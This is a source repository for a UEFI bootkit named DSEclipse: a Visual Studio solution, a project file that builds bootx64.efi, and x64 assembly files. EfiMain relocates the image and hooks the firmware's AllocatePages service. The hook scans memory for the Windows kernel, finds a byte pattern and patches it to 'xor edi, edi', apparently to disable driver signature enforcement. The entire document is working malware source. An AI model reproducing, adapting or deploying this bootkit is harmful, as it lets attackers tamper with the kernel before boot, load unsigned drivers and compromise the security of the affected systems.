├── Bootkit ├── GeneralTable.asm ├── AllocatePagesHook.asm ├── EfiMain.asm └── Bootkit.vcxproj └── DSEclipse.sln /Bootkit/GeneralTable.asm: -------------------------------------------------------------------------------- 1 | .CODE 2 | 3 | ALIGN 1 4 | 5 | PUBLIC BootServices 6 | BootServices QWORD 0 7 | 8 | PUBLIC AllocBase 9 | AllocBase QWORD 0 10 | 11 | PUBLIC ImageBase 12 | ImageBase QWORD 0 13 | 14 | PUBLIC ImageSize 15 | ImageSize QWORD 0 16 | 17 | PUBLIC ImagePages 18 | ImagePages QWORD 0 19 | 20 | PUBLIC AllocatePages 21 | AllocatePages QWORD 0 22 | 23 | END -------------------------------------------------------------------------------- /DSEclipse.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35521.163 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Bootkit", "Bootkit\Bootkit.vcxproj", "{DF325AB7-67A6-473E-93FF-16955AFBC063}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {DF325AB7-67A6-473E-93FF-16955AFBC063}.Release|x64.ActiveCfg = Release|x64 14 | {DF325AB7-67A6-473E-93FF-16955AFBC063}.Release|x64.Build.0 = Release|x64 15 | EndGlobalSection 16 | GlobalSection(SolutionProperties) = preSolution 17 | HideSolutionNode = FALSE 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityGlobals) = postSolution 20 | SolutionGuid = {C97F8BC8-7D66-4418-A908-DBA353722551} 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Bootkit/AllocatePagesHook.asm: -------------------------------------------------------------------------------- 1 | .CODE 2 | 3 | ALIGN 1 4 | 5 | EXTERN AllocatePages:QWORD 6 | EXTERN BootServices:QWORD 7 | 8 | PUBLIC AllocatePagesHook 9 | 10 | ; 11 | ; Purpose: 12 | ; 13 | ; Hook routine for AllocatePages. 14 | ; Scans memory on every call to find OS kernel. 15 | ; Once found, searches for a pattern and applies a patch. 16 | ; 17 | AllocatePagesHook PROC 18 | ; Save arguments 19 | push rcx 20 | push rdx 21 | push r8 22 | push r9 23 | 24 | ; Set start address to first 2MB page 25 | mov rax, 0200000h 26 | 27 | next_page: 28 | ; Is scan reached limit? 29 | cmp rax, 010000000h 30 | ; Yes? Go to finish 31 | jae finish 32 | 33 | ; Have we reached some image? 34 | cmp word ptr [rax], 5A4Dh 35 | ; Yes? Go to found dos 36 | je found_image 37 | 38 | next_iter: 39 | ; Step to the next 2MB page 40 | add rax, 0200000h 41 | jmp next_page 42 | 43 | found_image: 44 | ; Get NT headers 45 | mov ecx, dword ptr [rax+3Ch] 46 | mov rdx, rax 47 | add rdx, rcx 48 | 49 | found_pe: 50 | ; rax = base address 51 | ; rdx = NT headers 52 | 53 | ; Get Export Directory 54 | add rdx, 018h 55 | mov ecx, [rdx+070h] 56 | ; Does export directory exist? 57 | test ecx, ecx 58 | ; No? Not our target, skip 59 | jz next_iter 60 | 61 | ; Calculate Export Directory address 62 | add rcx, rax 63 | ; Get Name string relative address 64 | mov edx, [rcx+0Ch] 65 | ; Get Name string address 66 | add rdx, rax 67 | ; Read first 4 bytes of Name string 68 | mov r8d, [rdx] 69 | ; Does it starts with 'ntos' LE? 70 | cmp r8d, 0736F746Eh 71 | ; No? It's not our target, skip 72 | jne next_iter 73 | 74 | found_ntoskrnl: 75 | ; Is it our pattern? 76 | cmp byte ptr [rax], 74h 77 | jnz next 78 | cmp byte ptr [rax+1], 2 79 | jnz next 80 | cmp byte ptr [rax+2], 8Bh 81 | jnz next 82 | cmp byte ptr [rax+3], 3Ah 83 | ; Yes? Go to patch 84 | jz patch 85 | 86 | next: 87 | ; Step to the next byte 88 | add rax, 1 89 | jmp found_ntoskrnl 90 | 91 | patch: 92 | ; Patch with xor edi, edi 93 | mov word ptr [rax+2], 0FF31h 94 | 95 | restore: 96 | ; Restore the hook 97 | mov rcx, BootServices 98 | mov rax, AllocatePages 99 | mov [rcx+28h], rax 100 | 101 | finish: 102 | ; Restore arguments 103 | pop r9 104 | pop r8 105 | pop rdx 106 | pop rcx 107 | 108 | ; Jump to AllocatePages 109 | mov rax, [AllocatePages] 110 | jmp rax 111 | AllocatePagesHook ENDP 112 | 113 | END 114 | 115 | -------------------------------------------------------------------------------- /Bootkit/EfiMain.asm: -------------------------------------------------------------------------------- 1 | .CODE 2 | 3 | ALIGN 1 4 | 5 | EXTERN AllocatePagesHook:PROC 6 | 7 | EXTERN BootServices:QWORD 8 | EXTERN ImageSize:QWORD 9 | 10 | EXTERN ImagePages:QWORD 11 | EXTERN ImageBase:QWORD 12 | 13 | EXTERN AllocBase:QWORD 14 | EXTERN AllocatePages:QWORD 15 | 16 | ; 17 | ; Purpose: 18 | ; 19 | ; Entry point for DSEclipse. 20 | ; Copies itself as a shellcode into the newly allocated memory 21 | ; region and places and inline hook on AllocatePages. 22 | ; 23 | EfiMain PROC 24 | ; rcx = ImageHandle 25 | ; rdx = SystemTable 26 | 27 | ; Save BootServices 28 | mov rax, [rdx+60h] 29 | mov BootServices, rax 30 | 31 | ; Save AllocatePages 32 | mov rax, [rax+28h] 33 | mov AllocatePages, rax 34 | 35 | ; Align to the start of a page 36 | mov rax, EfiMain 37 | and rax, 0FFFFFFFFFFFFF000h 38 | 39 | find_base: 40 | ; Is it DOS magic? 41 | cmp word ptr [rax], 5A4Dh 42 | ; Yes? Go to found base 43 | je found_base 44 | 45 | next_iter: 46 | ; Decrement the page 47 | sub rax, 0100h 48 | jmp find_base 49 | 50 | found_base: 51 | ; Save ImageBase 52 | mov ImageBase, rax 53 | 54 | ; Go to NT headers 55 | mov ecx, dword ptr [rax+3Ch] 56 | mov rdx, rax 57 | add rdx, rcx 58 | 59 | get_image_size: 60 | ; Get ImageSize 61 | add rdx, 018h 62 | mov ecx, [rdx+038h] 63 | 64 | ; Save ImageSize 65 | mov eax, ecx 66 | mov ImageSize, rax 67 | 68 | ; Convert size to pages 69 | add ecx, 0FFFh 70 | shr ecx, 12 71 | 72 | ; Save ImagePages 73 | mov eax, ecx 74 | mov ImagePages, rax 75 | 76 | allocate_memory: 77 | ; Get AllocatePages 78 | mov rcx, BootServices 79 | mov r10, [rcx+28h] 80 | 81 | ; Reserving memory for address out 82 | sub rsp, 8 83 | 84 | xor ecx, ecx ; arg1 = AllocateAnyPages 85 | mov edx, 1 ; arg2 = EfiLoaderCode 86 | mov r8, ImagePages ; arg3 = number of pages 87 | lea r9, [rsp] ; arg4 = pointer to physical addr out 88 | 89 | ; Call AllocatePages 90 | call r10 91 | 92 | ; Get allocated memory location 93 | mov rax, [rsp] 94 | 95 | ; Restore stack 96 | add rsp, 8 97 | 98 | ; Save allocated memory address 99 | mov AllocBase, rax 100 | 101 | copy_image: 102 | ; Set source 103 | mov rsi, ImageBase 104 | ; Set destination 105 | mov rdi, AllocBase 106 | ; Set size 107 | mov rcx, ImageSize 108 | 109 | copy_loop: 110 | ; Is copied everything? 111 | test rcx, rcx 112 | ; Yes? Go to place hook 113 | je place_hook 114 | 115 | ; Load 8 bytes from source 116 | mov rax, [rsi] 117 | ; Copy them to the destination 118 | mov [rdi], rax 119 | 120 | ; Move to the next 8 bytes chunk 121 | add rsi, 8 122 | add rdi, 8 123 | sub rcx, 8 124 | jmp copy_loop 125 | 126 | place_hook: 127 | ; Get ImageBase 128 | mov rax, ImageBase 129 | ; Get AllocatePagesHook address 130 | mov rcx, AllocatePagesHook 131 | 132 | ; Calculate the relative offset to the hook function 133 | sub rcx, rax 134 | 135 | ; Calculate the hook address in AllocBase 136 | add rcx, AllocBase 137 | 138 | ; Place a hook 139 | mov rax, BootServices 140 | mov [rax+28h], rcx 141 | 142 | finish: 143 | ; Return success 144 | xor eax, eax ; EFI_SUCCESS == 0 145 | ret 146 | EfiMain ENDP 147 | 148 | END -------------------------------------------------------------------------------- /Bootkit/Bootkit.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | x64 7 | 8 | 9 | 10 | Win32Proj 11 | {DF325AB7-67A6-473E-93FF-16955AFBC063} 12 | Bootkit 13 | 10.0 14 | 15 | 16 | 17 | v143 18 | true 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | false 31 | 32 | 33 | false 34 | .efi 35 | bootx64 36 | 37 | 38 | 39 | %(AdditionalDependencies) 40 | EFI Application 41 | false 42 | true 43 | UseLinkTimeCodeGeneration 44 | 45 | 46 | EfiMain 47 | 0 48 | Driver 49 | true 50 | false 51 | false 52 | false 53 | true 54 | false 55 | NoErrorReport 56 | false 57 | 16 58 | true 59 | /MERGE:.rdata=.text /MERGE:.data=.text /EMITPOGOPHASEINFO %(AdditionalOptions) 60 | 61 | 62 | false 63 | Default 64 | MinSpace 65 | false 66 | Size 67 | None 68 | Default 69 | false 70 | false 71 | false 72 | MultiThreaded 73 | Level4 74 | true 75 | AnySuitable 76 | true 77 | true 78 | false 79 | false 80 | true 81 | false 82 | FastCall 83 | false 84 | false 85 | false 86 | false 87 | 88 | 89 | 90 | 91 | 92 | 93 | true 94 | 95 | 96 | false 97 | /Zf %(AdditionalOptions) 98 | false 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | --------------------------------------------------------------------------------